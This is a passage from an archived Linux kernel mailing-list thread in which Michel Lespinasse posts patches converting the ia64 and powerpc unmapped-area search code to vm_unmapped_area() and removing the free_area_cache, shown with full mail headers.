-		addr = ALIGN(addr, HPAGE_SIZE);
-	for (vmm = find_vma(current->mm, addr); ; vmm = vmm->vm_next) {
-		/* At this point:  (!vmm || addr < vmm->vm_end). */
-		if (REGION_OFFSET(addr) + len > RGN_MAP_LIMIT)
-			return -ENOMEM;
-		if (!vmm || (addr + len) <= vmm->vm_start)
-			return addr;
-		addr = ALIGN(vmm->vm_end, HPAGE_SIZE);
-	}
+
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = addr;
+	info.high_limit = HPAGE_REGION_BASE + RGN_MAP_LIMIT;
+	info.align_mask = PAGE_MASK & (HPAGE_SIZE - 1);
+	info.align_offset = 0;
+	return vm_unmapped_area(&info);
 }
 
 static int __init hugetlb_setup_sz(char *str)
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 4/8] mm: use vm_unmapped_area() on ia64 architecture
Date: Tue,  8 Jan 2013 17:28:11 -0800
Lines: 81
Approved: news@gmane.org
Message-ID: <1357694895-520-5-git-send-email-walken@google.com>
References: <1357694895-520-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1357694934 30492 80.91.229.3 (9 Jan 2013 01:28:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 01:28:54 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Rik van Riel <riel@redhat.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 02:29:06 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TskTR-0004jG-Oi
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 02:28:58 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 8EACF6B0074; Tue,  8 Jan 2013 20:28:39 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id B09686B0075; Tue,  8 Jan 2013 20:28:37 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 829F46B007B; Tue,  8 Jan 2013 20:28:36 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx113.postini.com [74.125.245.113])
	by kanga.kvack.org (Postfix) with SMTP id D321D6B0075
	for <linux-mm@kvack.org>; Tue,  8 Jan 2013 20:28:34 -0500 (EST)
Original-Received: from mail-pb0-f44.google.com ([209.85.160.44]) (using TLSv1) by na3sys010amx113.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 01:28:34 GMT
Original-Received: by mail-pb0-f44.google.com with SMTP id uo1so598129pbc.3
        for <linux-mm@kvack.org>; Tue, 08 Jan 2013 17:28:34 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=rmX0kPlia+PUaoIgdgKV+zd7+Z+psdbVLfo8bOitlVc=;
        b=Xegap4c+J0mP5khwwaHVzEe7tl1JGJ4Etb1YPnkSYA/RirKFycaAkrQzusm0xZewfC
         b2ikqSuSFZ4qOFzfDhu6hHAxfrycVUxRsGjxFuyppN8jVIR7Lhx+HUCZhhnW6FA9ES9B
         z42oJPTCqaU+p1lpO7lvA17lySQITPoC8mfXGs1boyeJ6XUSFL6/hcwzlYwS1+7mlRmp
         nUkFglbhfhyLQLLdZJDtjwl5cQmwiyfVTFW5WruiT4T1qYSL/L7IMtElxb1hK/oflDKm
         mjSZrDtaBksaCuUdFGXcACtMkuAcJSoKf/Yu9EM2Vr07JwGvCKdKctiAlg1YQJffC7yE
         MsVA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=rmX0kPlia+PUaoIgdgKV+zd7+Z+psdbVLfo8bOitlVc=;
        b=JGuw5sBS+FcFFqDet4QsNukVIhW+KRmKaG+8Zp24LWDGaVjIRlu3PdDryTIZrEkfCk
         R8rhffW+1sNLK9iHS2Yd5YQ+cmiV+1O9TUmqK+bDulBiG1eomYaGoRhS0ZZ8/OHYauS8
         QUPtnzjSs8slNAuP8Ceo6h+W98LcbSjp1QUpcpkiH/5kUw3EpeTJZGBbOvYD9QpXqq9i
         12UOXLfF3X1TjNDXFno29/+Vibddhfbfogjd6lCpzj/qDV4Ut+zx55/lujI97vJUkPcE
         bFOhgdDYbZubSWwa4LFWHdWfeBiPAEDNrOkmfg81IISK9JRoeeSmFZxJaZNHQM0feXw7
         7XCg==
X-Received: by 10.68.238.39 with SMTP id vh7mr29804512pbc.6.1357694914019;
        Tue, 08 Jan 2013 17:28:34 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id p10sm41711168pax.27.2013.01.08.17.28.32
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 08 Jan 2013 17:28:33 -0800 (PST)
X-Mailer: git-send-email 1.7.7.3
In-Reply-To: <1357694895-520-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQmsnrmnATjc8kXK6STI0KkjWz/tuF11gtysBl7bIgDomTLP8/tYUgwPYj5MkPYZsxdrpfY3RXfwjdZLHgMvdmiGL8N5Amtyi2fvoMbYxhoTzMbQKiPIYah7fdlUi/kc9K9AwvOYUXQoE8i/nYJtQ5Bz7ZJIBvcRh6Y3fmpeBkCI6FF8wobfpYUgaCEGQ/6SCUuHPSl+
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:80.97369/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93016 gmane.linux.kernel:1418770 gmane.linux.ports.ppc64.devel:86884 gmane.linux.ports.parisc:4711 gmane.linux.ports.alpha:1984 gmane.linux.ports.ia64:22860
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93016>

Update the ia64 arch_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>

---
 arch/ia64/kernel/sys_ia64.c |   37 ++++++++++++-------------------------
 1 files changed, 12 insertions(+), 25 deletions(-)

diff --git a/arch/ia64/kernel/sys_ia64.c b/arch/ia64/kernel/sys_ia64.c
index d9439ef2f661..41e33f84c185 100644
--- a/arch/ia64/kernel/sys_ia64.c
+++ b/arch/ia64/kernel/sys_ia64.c
@@ -25,9 +25,9 @@ arch_get_unmapped_area (struct file *filp, unsigned long addr, unsigned long len
 			unsigned long pgoff, unsigned long flags)
 {
 	long map_shared = (flags & MAP_SHARED);
-	unsigned long start_addr, align_mask = PAGE_SIZE - 1;
+	unsigned long align_mask = 0;
 	struct mm_struct *mm = current->mm;
-	struct vm_area_struct *vma;
+	struct vm_unmapped_area_info info;
 
 	if (len > RGN_MAP_LIMIT)
 		return -ENOMEM;
@@ -44,7 +44,7 @@ arch_get_unmapped_area (struct file *filp, unsigned long addr, unsigned long len
 		addr = 0;
 #endif
 	if (!addr)
-		addr = mm->free_area_cache;
+		addr = TASK_UNMAPPED_BASE;
 
 	if (map_shared && (TASK_SIZE > 0xfffffffful))
 		/*
@@ -53,28 +53,15 @@ arch_get_unmapped_area (struct file *filp, unsigned long addr, unsigned long len
 		 * tasks, we prefer to avoid exhausting the address space too quickly by
 		 * limiting alignment to a single page.
 		 */
-		align_mask = SHMLBA - 1;
-
-  full_search:
-	start_addr = addr = (addr + align_mask) & ~align_mask;
-
-	for (vma = find_vma(mm, addr); ; vma = vma->vm_next) {
-		/* At this point:  (!vma || addr < vma->vm_end). */
-		if (TASK_SIZE - len < addr || RGN_MAP_LIMIT - len < REGION_OFFSET(addr)) {
-			if (start_addr != TASK_UNMAPPED_BASE) {
-				/* Start a new search --- just in case we missed some holes.  */
-				addr = TASK_UNMAPPED_BASE;
-				goto full_search;
-			}
-			return -ENOMEM;
-		}
-		if (!vma || addr + len <= vma->vm_start) {
-			/* Remember the address where we stopped this search:  */
-			mm->free_area_cache = addr + len;
-			return addr;
-		}
-		addr = (vma->vm_end + align_mask) & ~align_mask;
-	}
+		align_mask = PAGE_MASK & (SHMLBA - 1);
+
+	info.flags = 0;
+	info.length = len;
+	info.low_limit = addr;
+	info.high_limit = TASK_SIZE;
+	info.align_mask = align_mask;
+	info.align_offset = 0;
+	return vm_unmapped_area(&info);
 }
 
 asmlinkage long
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 6/8] mm: remove free_area_cache use in powerpc architecture
Date: Tue,  8 Jan 2013 17:28:13 -0800
Lines: 292
Approved: news@gmane.org
Message-ID: <1357694895-520-7-git-send-email-walken@google.com>
References: <1357694895-520-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1357694935 30494 80.91.229.3 (9 Jan 2013 01:28:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 01:28:55 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Rik van Riel <riel@redhat.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 02:29:06 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TskTY-0004nW-Ha
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 02:29:05 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 055E76B007D; Tue,  8 Jan 2013 20:28:45 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 2072D6B0080; Tue,  8 Jan 2013 20:28:42 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 516C96B0075; Tue,  8 Jan 2013 20:28:40 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx181.postini.com [74.125.245.181])
	by kanga.kvack.org (Postfix) with SMTP id 0282B6B007D
	for <linux-mm@kvack.org>; Tue,  8 Jan 2013 20:28:37 -0500 (EST)
Original-Received: from mail-pb0-f41.google.com ([209.85.160.41]) (using TLSv1) by na3sys010amx181.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 01:28:38 GMT
Original-Received: by mail-pb0-f41.google.com with SMTP id xa7so598644pbc.0
        for <linux-mm@kvack.org>; Tue, 08 Jan 2013 17:28:37 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=9mrzN+cdWLhkLLZnlb21UlPfj8Yh+12N8JpV31boDRY=;
        b=BmiQ7uWv0lvu4Y6n4Jpu7w5Ei5WlWPzlw/guDJ+Iqe5530E3gjmuSKKqAvf5OtTr28
         sfWhoNp1wVh7u6djtSwYJ7IyJt+rlLXRVJtkbsAf9Rep7OXw+CBUYgEK7+Us+UUL/20c
         kMlKAuYgYxLWjTkI7U8e44QNGr2sI3cDNEIJmfKwe6xhFKN0yGOzEeWabvEZ8iHph5zz
         gDtfdoVZULxjHYXupz+92DTMoxtPfbqy7hPXKifGymsQ5YKI79tR9s1qOEZ5qmi0uhB4
         RweBFuToSEaVnMfFzn9ASrBx5vE/dXZKA6tXpWYhctwtgZ06qQ4IZavNcGvpD3VzPPvW
         mh4w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=9mrzN+cdWLhkLLZnlb21UlPfj8Yh+12N8JpV31boDRY=;
        b=DDB6Ghfgh5aRUGL5w+Nt+rrNLuRsSCeKxDzQtbA0wzCh4Mtp+Ebz4Fn3q/88lq8QDm
         5bQt6U0VAvS/DHzOUToJOUeLeindBAwxBS4oEFpQxg5MB6LAnpANZJ9YtUzK2GsIVN/h
         KWPyl3Uo9BIeaN8fYKyfLvHQVNmtvgzDx3mKSJYcGeiNYEn0KEiapFLo5PPCCuPk8UnW
         LJ95osF+K8LzBFTe28emjsTic3tMa5g7xvKk6tZNo7Q0zYNBEtaHJ999cQ1P+165ZrYI
         EiZZ2eKDfyBvPZHLfJz9Z1zu+Hv6LpQEAfv0LnA2qjcCABvl9l9XbTylMW68Qn9/Owe3
         GMew==
X-Received: by 10.66.78.168 with SMTP id c8mr184913979pax.16.1357694917098;
        Tue, 08 Jan 2013 17:28:37 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id p10sm41711168pax.27.2013.01.08.17.28.35
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 08 Jan 2013 17:28:36 -0800 (PST)
X-Mailer: git-send-email 1.7.7.3
In-Reply-To: <1357694895-520-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQmPYqX5wKAgelOAVYqQ0y5tuO6IsIEfaKrVRa1pT0nyg5VAq7svfPezuMInS3YCHVeaki/y1vjtR0vQ03WC+SVMehNve2bYlX+xh7XZHTJ60Q27iLm1Fnwe0k+zwAliCCeebHh/kbyJ87hgXL5q3vKqCQKlk25l+VEPONBX92UsSUnXX/2NmeaXYQ+k299OHUCN/EPS
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:83.16206/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93017 gmane.linux.kernel:1418771 gmane.linux.ports.ppc64.devel:86885 gmane.linux.ports.parisc:4712 gmane.linux.ports.alpha:1985 gmane.linux.ports.ia64:22861
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93017>

As all other architectures have been converted to use vm_unmapped_area(),
we are about to retire the free_area_cache.

This change simply removes the use of that cache in
slice_get_unmapped_area(), which will most certainly have a
performance cost. Next one will convert that function to use the
vm_unmapped_area() infrastructure and regain the performance.

Signed-off-by: Michel Lespinasse <walken@google.com>

---
 arch/powerpc/include/asm/page_64.h       |    3 +-
 arch/powerpc/mm/hugetlbpage.c            |    2 +-
 arch/powerpc/mm/slice.c                  |  108 +++++------------------------
 arch/powerpc/platforms/cell/spufs/file.c |    2 +-
 4 files changed, 22 insertions(+), 93 deletions(-)

diff --git a/arch/powerpc/include/asm/page_64.h b/arch/powerpc/include/asm/page_64.h
index cd915d6b093d..88693cef4f3d 100644
--- a/arch/powerpc/include/asm/page_64.h
+++ b/arch/powerpc/include/asm/page_64.h
@@ -99,8 +99,7 @@ extern unsigned long slice_get_unmapped_area(unsigned long addr,
 					     unsigned long len,
 					     unsigned long flags,
 					     unsigned int psize,
-					     int topdown,
-					     int use_cache);
+					     int topdown);
 
 extern unsigned int get_slice_psize(struct mm_struct *mm,
 				    unsigned long addr);
diff --git a/arch/powerpc/mm/hugetlbpage.c b/arch/powerpc/mm/hugetlbpage.c
index 1a6de0a7d8eb..5dc52d803ed8 100644
--- a/arch/powerpc/mm/hugetlbpage.c
+++ b/arch/powerpc/mm/hugetlbpage.c
@@ -742,7 +742,7 @@ unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
 	struct hstate *hstate = hstate_file(file);
 	int mmu_psize = shift_to_mmu_psize(huge_page_shift(hstate));
 
-	return slice_get_unmapped_area(addr, len, flags, mmu_psize, 1, 0);
+	return slice_get_unmapped_area(addr, len, flags, mmu_psize, 1);
 }
 #endif
 
diff --git a/arch/powerpc/mm/slice.c b/arch/powerpc/mm/slice.c
index cf9dada734b6..999a74f25ebe 100644
--- a/arch/powerpc/mm/slice.c
+++ b/arch/powerpc/mm/slice.c
@@ -240,23 +240,15 @@ static void slice_convert(struct mm_struct *mm, struct slice_mask mask, int psiz
 static unsigned long slice_find_area_bottomup(struct mm_struct *mm,
 					      unsigned long len,
 					      struct slice_mask available,
-					      int psize, int use_cache)
+					      int psize)
 {
 	struct vm_area_struct *vma;
-	unsigned long start_addr, addr;
+	unsigned long addr;
 	struct slice_mask mask;
 	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
 
-	if (use_cache) {
-		if (len <= mm->cached_hole_size) {
-			start_addr = addr = TASK_UNMAPPED_BASE;
-			mm->cached_hole_size = 0;
-		} else
-			start_addr = addr = mm->free_area_cache;
-	} else
-		start_addr = addr = TASK_UNMAPPED_BASE;
+	addr = TASK_UNMAPPED_BASE;
 
-full_search:
 	for (;;) {
 		addr = _ALIGN_UP(addr, 1ul << pshift);
 		if ((TASK_SIZE - len) < addr)
@@ -272,63 +264,24 @@ full_search:
 				addr = _ALIGN_UP(addr + 1,  1ul << SLICE_HIGH_SHIFT);
 			continue;
 		}
-		if (!vma || addr + len <= vma->vm_start) {
-			/*
-			 * Remember the place where we stopped the search:
-			 */
-			if (use_cache)
-				mm->free_area_cache = addr + len;
+		if (!vma || addr + len <= vma->vm_start)
 			return addr;
-		}
-		if (use_cache && (addr + mm->cached_hole_size) < vma->vm_start)
-		        mm->cached_hole_size = vma->vm_start - addr;
 		addr = vma->vm_end;
 	}
 
-	/* Make sure we didn't miss any holes */
-	if (use_cache && start_addr != TASK_UNMAPPED_BASE) {
-		start_addr = addr = TASK_UNMAPPED_BASE;
-		mm->cached_hole_size = 0;
-		goto full_search;
-	}
 	return -ENOMEM;
 }
 
 static unsigned long slice_find_area_topdown(struct mm_struct *mm,
 					     unsigned long len,
 					     struct slice_mask available,
-					     int psize, int use_cache)
+					     int psize)
 {
 	struct vm_area_struct *vma;
 	unsigned long addr;
 	struct slice_mask mask;
 	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
 
-	/* check if free_area_cache is useful for us */
-	if (use_cache) {
-		if (len <= mm->cached_hole_size) {
-			mm->cached_hole_size = 0;
-			mm->free_area_cache = mm->mmap_base;
-		}
-
-		/* either no address requested or can't fit in requested
-		 * address hole
-		 */
-		addr = mm->free_area_cache;
-
-		/* make sure it can fit in the remaining address space */
-		if (addr > len) {
-			addr = _ALIGN_DOWN(addr - len, 1ul << pshift);
-			mask = slice_range_to_mask(addr, len);
-			if (slice_check_fit(mask, available) &&
-			    slice_area_is_free(mm, addr, len))
-					/* remember the address as a hint for
-					 * next time
-					 */
-					return (mm->free_area_cache = addr);
-		}
-	}
-
 	addr = mm->mmap_base;
 	while (addr > len) {
 		/* Go down by chunk size */
@@ -352,16 +305,8 @@ static unsigned long slice_find_area_topdown(struct mm_struct *mm,
 		 * return with success:
 		 */
 		vma = find_vma(mm, addr);
-		if (!vma || (addr + len) <= vma->vm_start) {
-			/* remember the address as a hint for next time */
-			if (use_cache)
-				mm->free_area_cache = addr;
+		if (!vma || (addr + len) <= vma->vm_start)
 			return addr;
-		}
-
-		/* remember the largest hole we saw so far */
-		if (use_cache && (addr + mm->cached_hole_size) < vma->vm_start)
-		        mm->cached_hole_size = vma->vm_start - addr;
 
 		/* try just below the current vma->vm_start */
 		addr = vma->vm_start;
@@ -373,28 +318,18 @@ static unsigned long slice_find_area_topdown(struct mm_struct *mm,
 	 * can happen with large stack limits and large mmap()
 	 * allocations.
 	 */
-	addr = slice_find_area_bottomup(mm, len, available, psize, 0);
-
-	/*
-	 * Restore the topdown base:
-	 */
-	if (use_cache) {
-		mm->free_area_cache = mm->mmap_base;
-		mm->cached_hole_size = ~0UL;
-	}
-
-	return addr;
+	return slice_find_area_bottomup(mm, len, available, psize);
 }
 
 
 static unsigned long slice_find_area(struct mm_struct *mm, unsigned long len,
 				     struct slice_mask mask, int psize,
-				     int topdown, int use_cache)
+				     int topdown)
 {
 	if (topdown)
-		return slice_find_area_topdown(mm, len, mask, psize, use_cache);
+		return slice_find_area_topdown(mm, len, mask, psize);
 	else
-		return slice_find_area_bottomup(mm, len, mask, psize, use_cache);
+		return slice_find_area_bottomup(mm, len, mask, psize);
 }
 
 #define or_mask(dst, src)	do {			\
@@ -415,7 +350,7 @@ static unsigned long slice_find_area(struct mm_struct *mm, unsigned long len,
 
 unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 				      unsigned long flags, unsigned int psize,
-				      int topdown, int use_cache)
+				      int topdown)
 {
 	struct slice_mask mask = {0, 0};
 	struct slice_mask good_mask;
@@ -430,8 +365,8 @@ unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 	BUG_ON(mm->task_size == 0);
 
 	slice_dbg("slice_get_unmapped_area(mm=%p, psize=%d...\n", mm, psize);
-	slice_dbg(" addr=%lx, len=%lx, flags=%lx, topdown=%d, use_cache=%d\n",
-		  addr, len, flags, topdown, use_cache);
+	slice_dbg(" addr=%lx, len=%lx, flags=%lx, topdown=%d\n",
+		  addr, len, flags, topdown);
 
 	if (len > mm->task_size)
 		return -ENOMEM;
@@ -503,8 +438,7 @@ unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 		/* Now let's see if we can find something in the existing
 		 * slices for that size
 		 */
-		newaddr = slice_find_area(mm, len, good_mask, psize, topdown,
-					  use_cache);
+		newaddr = slice_find_area(mm, len, good_mask, psize, topdown);
 		if (newaddr != -ENOMEM) {
 			/* Found within the good mask, we don't have to setup,
 			 * we thus return directly
@@ -536,8 +470,7 @@ unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 	 * anywhere in the good area.
 	 */
 	if (addr) {
-		addr = slice_find_area(mm, len, good_mask, psize, topdown,
-				       use_cache);
+		addr = slice_find_area(mm, len, good_mask, psize, topdown);
 		if (addr != -ENOMEM) {
 			slice_dbg(" found area at 0x%lx\n", addr);
 			return addr;
@@ -547,15 +480,14 @@ unsigned long slice_get_unmapped_area(unsigned long addr, unsigned long len,
 	/* Now let's see if we can find something in the existing slices
 	 * for that size plus free slices
 	 */
-	addr = slice_find_area(mm, len, potential_mask, psize, topdown,
-			       use_cache);
+	addr = slice_find_area(mm, len, potential_mask, psize, topdown);
 
 #ifdef CONFIG_PPC_64K_PAGES
 	if (addr == -ENOMEM && psize == MMU_PAGE_64K) {
 		/* retry the search with 4k-page slices included */
 		or_mask(potential_mask, compat_mask);
 		addr = slice_find_area(mm, len, potential_mask, psize,
-				       topdown, use_cache);
+				       topdown);
 	}
 #endif
 
@@ -586,8 +518,7 @@ unsigned long arch_get_unmapped_area(struct file *filp,
 				     unsigned long flags)
 {
 	return slice_get_unmapped_area(addr, len, flags,
-				       current->mm->context.user_psize,
-				       0, 1);
+				       current->mm->context.user_psize, 0);
 }
 
 unsigned long arch_get_unmapped_area_topdown(struct file *filp,
@@ -597,8 +528,7 @@ unsigned long arch_get_unmapped_area_topdown(struct file *filp,
 					     const unsigned long flags)
 {
 	return slice_get_unmapped_area(addr0, len, flags,
-				       current->mm->context.user_psize,
-				       1, 1);
+				       current->mm->context.user_psize, 1);
 }
 
 unsigned int get_slice_psize(struct mm_struct *mm, unsigned long addr)
diff --git a/arch/powerpc/platforms/cell/spufs/file.c b/arch/powerpc/platforms/cell/spufs/file.c
index 0cfece4cf6ef..2eb4df2a9388 100644
--- a/arch/powerpc/platforms/cell/spufs/file.c
+++ b/arch/powerpc/platforms/cell/spufs/file.c
@@ -352,7 +352,7 @@ static unsigned long spufs_get_unmapped_area(struct file *file,
 
 	/* Else, try to obtain a 64K pages slice */
 	return slice_get_unmapped_area(addr, len, flags,
-				       MMU_PAGE_64K, 1, 0);
+				       MMU_PAGE_64K, 1);
 }
 #endif /* CONFIG_SPU_FS_64K_LS */
 
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 7/8] mm: use vm_unmapped_area() on powerpc architecture
Date: Tue,  8 Jan 2013 17:28:14 -0800
Lines: 175
Approved: news@gmane.org
Message-ID: <1357694895-520-8-git-send-email-walken@google.com>
References: <1357694895-520-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1357694935 30499 80.91.229.3 (9 Jan 2013 01:28:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 01:28:55 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Rik van Riel <riel@redhat.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 02:29:08 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TskTb-0004rG-R3
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 02:29:08 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id D13416B0075; Tue,  8 Jan 2013 20:28:46 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 297B76B0081; Tue,  8 Jan 2013 20:28:43 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
